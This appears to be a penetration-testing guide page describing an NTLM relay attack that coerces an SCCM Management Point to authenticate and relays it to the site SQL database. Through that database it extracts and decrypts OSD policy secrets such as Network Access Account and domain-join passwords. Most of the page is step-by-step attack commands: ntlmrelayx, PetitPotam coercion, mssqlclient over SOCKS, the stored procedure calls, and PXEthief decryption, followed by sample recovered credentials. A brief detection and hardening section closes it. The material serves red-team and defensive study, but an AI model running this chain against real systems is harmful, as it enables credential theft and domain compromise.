6.1 KiB
SCCM Management Point NTLM Relay to SQL – OSD Policy Secret Extraction
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TL;DR
By coercing a System Center Configuration Manager (SCCM) Management Point (MP) to authenticate over SMB/RPC and relaying that NTLM machine account to the site database (MSSQL) you obtain smsdbrole_MP / smsdbrole_MPUserSvc rights. These roles let you call a set of stored procedures that expose Operating System Deployment (OSD) policy blobs (Network Access Account credentials, Task-Sequence variables, etc.). The blobs are hex-encoded/encrypted but can be decoded and decrypted with PXEthief, yielding plaintext secrets.
High-level chain:
- Discover MP & site DB ↦ unauthenticated HTTP endpoint
/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA. - Start
ntlmrelayx.py -t mssql://<SiteDB> -ts -socks. - Coerce MP using PetitPotam, PrinterBug, DFSCoerce, etc.
- Through the SOCKS proxy connect with
mssqlclient.py -windows-authas the relayed \$ account. - Execute:
use CM_<SiteCode>exec MP_GetMachinePolicyAssignments N'<UnknownComputerGUID>',N''exec MP_GetPolicyBody N'<PolicyID>',N'<Version>'(orMP_GetPolicyBodyAfterAuthorization)
- Strip
0xFFFEBOM,xxd -r -p→ XML →python3 pxethief.py 7 <hex>.
Secrets such as OSDJoinAccount/OSDJoinPassword, NetworkAccessUsername/Password, etc. are recovered without touching PXE or clients.
1. Enumerating unauthenticated MP endpoints
The MP ISAPI extension GetAuth.dll exposes several parameters that don’t require authentication (unless the site is PKI-only):
| Parameter | Purpose |
|---|---|
MPKEYINFORMATIONMEDIA |
Returns site signing cert public key + GUIDs of x86 / x64 All Unknown Computers devices. |
MPLIST |
Lists every Management-Point in the site. |
SITESIGNCERT |
Returns Primary-Site signing certificate (identify the site server without LDAP). |
Grab the GUIDs that will act as the clientID for later DB queries:
curl http://MP01.contoso.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format -
2. Relay the MP machine account to MSSQL
# 1. Start the relay listener (SMB→TDS)
ntlmrelayx.py -ts -t mssql://10.10.10.15 -socks -smb2support
# 2. Trigger authentication from the MP (PetitPotam example)
python3 PetitPotam.py 10.10.10.20 10.10.10.99 \
-u alice -p P@ssw0rd! -d CONTOSO -dc-ip 10.10.10.10
When the coercion fires you should see something like:
[*] Authenticating against mssql://10.10.10.15 as CONTOSO/MP01$ SUCCEED
[*] SOCKS: Adding CONTOSO/MP01$@10.10.10.15(1433)
3. Identify OSD policies via stored procedures
Connect through the SOCKS proxy (port 1080 by default):
proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth
Switch to the CM_ DB (use the 3-digit site code, e.g. CM_001).
3.1 Find Unknown-Computer GUIDs (optional)
USE CM_001;
SELECT SMS_Unique_Identifier0
FROM dbo.UnknownSystem_DISC
WHERE DiscArchKey = 2; -- 2 = x64, 0 = x86
3.2 List assigned policies
EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N'';
Each row contains PolicyAssignmentID,Body (hex), PolicyID, PolicyVersion.
Focus on policies:
- NAAConfig – Network Access Account creds
- TS_Sequence – Task Sequence variables (OSDJoinAccount/Password)
- CollectionSettings – Can contain run-as accounts
3.3 Retrieve full body
If you already have PolicyID & PolicyVersion you can skip the clientID requirement using:
EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00';
IMPORTANT: In SSMS increase “Maximum Characters Retrieved” (>65535) or the blob will be truncated.
4. Decode & decrypt the blob
# Remove the UTF-16 BOM, convert from hex → XML
echo 'fffe3c003f0078…' | xxd -r -p > policy.xml
# Decrypt with PXEthief (7 = decrypt attribute value)
python3 pxethief.py 7 $(xmlstarlet sel -t -v "//value/text()" policy.xml)
Recovered secrets example:
OSDJoinAccount : CONTOSO\\joiner
OSDJoinPassword: SuperSecret2025!
NetworkAccessUsername: CONTOSO\\SCCM_NAA
NetworkAccessPassword: P4ssw0rd123
5. Relevant SQL roles & procedures
Upon relay the login is mapped to:
smsdbrole_MPsmsdbrole_MPUserSvc
These roles expose dozens of EXEC permissions, the key ones used in this attack are:
| Stored Procedure | Purpose |
|---|---|
MP_GetMachinePolicyAssignments |
List policies applied to a clientID. |
MP_GetPolicyBody / MP_GetPolicyBodyAfterAuthorization |
Return complete policy body. |
MP_GetListOfMPsInSiteOSD |
Returned by MPKEYINFORMATIONMEDIA path. |
You can inspect the full list with:
SELECT pr.name
FROM sys.database_principals AS dp
JOIN sys.database_permissions AS pe ON pe.grantee_principal_id = dp.principal_id
JOIN sys.objects AS pr ON pr.object_id = pe.major_id
WHERE dp.name IN ('smsdbrole_MP','smsdbrole_MPUserSvc')
AND pe.permission_name='EXECUTE';
6. Detection & Hardening
- Monitor MP logins – any MP computer account logging in from an IP that isn’t its host ≈ relay.
- Enable Extended Protection for Authentication (EPA) on the site database (
PREVENT-14). - Disable unused NTLM, enforce SMB signing, restrict RPC (
same mitigations used against
PetitPotam/PrinterBug). - Harden MP ↔ DB communication with IPSec / mutual-TLS.
See also
- NTLM relay fundamentals:
{{#ref}} ../ntlm/README.md {{#endref}}
- MSSQL abuse & post-exploitation:
{{#ref}} abusing-ad-mssql.md {{#endref}}
References
- I’d Like to Speak to Your Manager: Stealing Secrets with Management Point Relays
- PXEthief
- Misconfiguration Manager – ELEVATE-4 & ELEVATE-5 {{#include ../../banners/hacktricks-training.md}}